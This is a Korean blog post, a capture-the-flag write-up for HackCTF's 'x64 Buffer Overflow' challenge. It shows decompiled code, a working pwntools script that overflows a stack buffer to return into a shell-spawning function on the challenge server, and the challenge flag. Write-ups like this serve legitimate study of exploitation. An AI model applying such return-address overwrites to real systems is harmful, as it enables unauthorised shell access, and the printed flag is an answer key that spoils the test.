ABOUT ME

Today
Yesterday
Total
  • x64 Buffer Overflow
    CTF/HackCTF 2021. 1. 21. 01:44

    Disassembly 디스어셈블리


    undefined8 main(undefined8 argc, char **argv)
    {
        char **var_120h;
        int64_t var_114h;
        int64_t var_4h;
        
        var_114h._0_4_ = (undefined4)argc;
        func_0x00400508(0x400741, (int64_t)&var_114h + 4);
        var_4h._0_4_ = func_0x004004e0((int64_t)&var_114h + 4);
        func_0x004004e8("Hello %s\n", (int64_t)&var_114h + 4);
        return 0;
    }

    cutter가 디컴파일을 제대로 못하길래 pwngdb를 이용했다.

     

    main()

     

    따라서 main() 에서 호출되는 세 함수는 차례로 scanf("%s", buf) / strlen(buf) / printf("Hello %s \n", buf) 이다.

     

    RET Overwrite


    스택 버퍼 오버플로우가 발생하므로 return address를 덮어쓰고자 한다.

    void callMeMaybe(void)
    {
        char *var_20h;
        int64_t var_18h;
        int64_t var_10h;
        
        var_20h = "/bin/bash";
        var_18h = 0x40073e;
        var_10h = 0;
        func_0x004004f8("/bin/bash", &var_20h, 0, &var_20h);
        return;
    }

    바이너리에 위와 같이 쉘을 호출하는 함수가 있으므로 주소를 구해서 RET Overwrite을 통해 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./64bof_basic"
    server = "ctf.j0n9hyun.xyz"
    port = 3004
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    # p = process(binary)
    e = ELF(binary)
    
    payload = b"A"*0x118
    payload += p64(e.symbols["callMeMaybe"])
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{64b17_b0f_15_51mpl3_700}

    'CTF > HackCTF' 카테고리의 다른 글

    Simple_Overflow_ver_2  (0) 2021.01.21
    x64 Simple_size_BOF  (0) 2021.01.21
    내 버퍼가 흘러넘친다!!!  (0) 2021.01.21
    Basic_BOF #2  (0) 2021.01.21
    Basic_BOF #1  (0) 2021.01.21

    댓글

Designed by Tistory.